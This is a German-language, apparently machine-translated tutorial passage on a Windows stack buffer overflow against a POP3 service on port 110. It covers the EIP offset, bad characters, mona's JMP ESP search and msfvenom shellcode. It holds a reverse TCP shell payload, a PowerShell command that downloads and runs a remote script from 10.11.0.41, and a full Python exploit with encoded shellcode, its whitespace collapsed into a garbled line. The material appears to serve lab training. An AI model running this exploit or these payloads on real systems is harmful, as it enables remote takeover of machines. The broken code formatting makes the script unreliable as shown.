Sieht so aus, als ob wir das EIP im Offset 2606 des Buffers modifizieren können.
Überprüfen Sie es, indem Sie den Buffer des Exploits modifizieren:
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
Mit diesem Puffer sollte der EIP auf 42424242 ("BBBB") zeigen.
Sieht so aus, als würde es funktionieren.
Überprüfen des Shellcode-Speicherplatzes im Stack
600B sollten für jeden leistungsstarken Shellcode ausreichen.
Lass uns den Puffer ändern:
buffer = 'A'*2606 + 'BBBB' + 'C'*600
starte den neuen Exploit und überprüfe den EBP und die Länge des nützlichen Shellcodes
Du kannst sehen, dass, wenn die Verwundbarkeit erreicht ist, der EBP auf den Shellcode zeigt und dass wir viel Platz haben, um hier einen Shellcode zu platzieren.
In diesem Fall haben wir von 0x0209A128 bis 0x0209A2D6 = 430B. Genug.
Die badchars beginnen bei 0x01, da 0x00 fast immer schlecht ist.
Führen Sie wiederholt den Exploit mit diesem neuen Puffer aus, indem Sie die Zeichen löschen, die als nutzlos erachtet werden:
Zum Beispiel:
In diesem Fall können Sie sehen, dass Sie das Zeichen 0x0A nicht verwenden sollten (nichts wird im Speicher gespeichert, da das Zeichen 0x09).
In diesem Fall können Sie sehen, dass das Zeichen 0x0D vermieden wird:
Finden Sie einen JMP ESP als Rücksprungadresse
Verwenden:
!mona modules #Get protections, look for all false except last one (Dll of SO)
Du wirst die Speicherkarten auflisten. Suche nach einer DLL, die hat:
Rebase: False
SafeSEH: False
ASLR: False
NXCompat: False
OS Dll: True
Jetzt solltest du in diesem Speicher einige JMP ESP Bytes finden, um das zu tun, führe aus:
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
Dann, wenn eine Adresse gefunden wird, wähle eine aus, die keine badchars enthält:
In diesem Fall, zum Beispiel: _0x5f4a358f_
Erstelle Shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
Wenn der Exploit nicht funktioniert, aber funktionieren sollte (Sie können mit ImDebg sehen, dass der Shellcode erreicht wird), versuchen Sie, andere Shellcodes zu erstellen (msfvenom mit verschiedenen Shellcodes für die gleichen Parameter zu erstellen).
Fügen Sie einige NOPS am Anfang des Shellcodes hinzu und verwenden Sie ihn sowie die Rücksprungadresse, um JMP ESP auszuführen, und beenden Sie den Exploit:
#!/usr/bin/pythonimportsockets=socket.socket(socket.AF_INET,socket.SOCK_STREAM)ip='10.11.25.153'port=110shellcode= ("\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1""\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b""\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4""\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6""\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4""\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36""\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9""\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19""\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef""\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78""\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85""\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4""\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35""\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71""\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8""\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf""\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a""\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5""\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25""\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4""\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1""\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a""\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d""\x2d\xb8\x63\xe2\x4e\xe9")buffer='A'*2606+'\x8f\x35\x4a\x5f'+"\x90"*8+shellcodetry:print"\nLaunching exploit..."s.connect((ip,port))data=s.recv(1024)s.send('USER username'+'\r\n')data=s.recv(1024)s.send('PASS '+buffer+'\r\n')print"\nFinished!."except:print"Could not connect to "+ip+":"+port
Es gibt Shellcodes, die sich selbst überschreiben, daher ist es wichtig, immer einige NOPs vor dem Shellcode hinzuzufügen.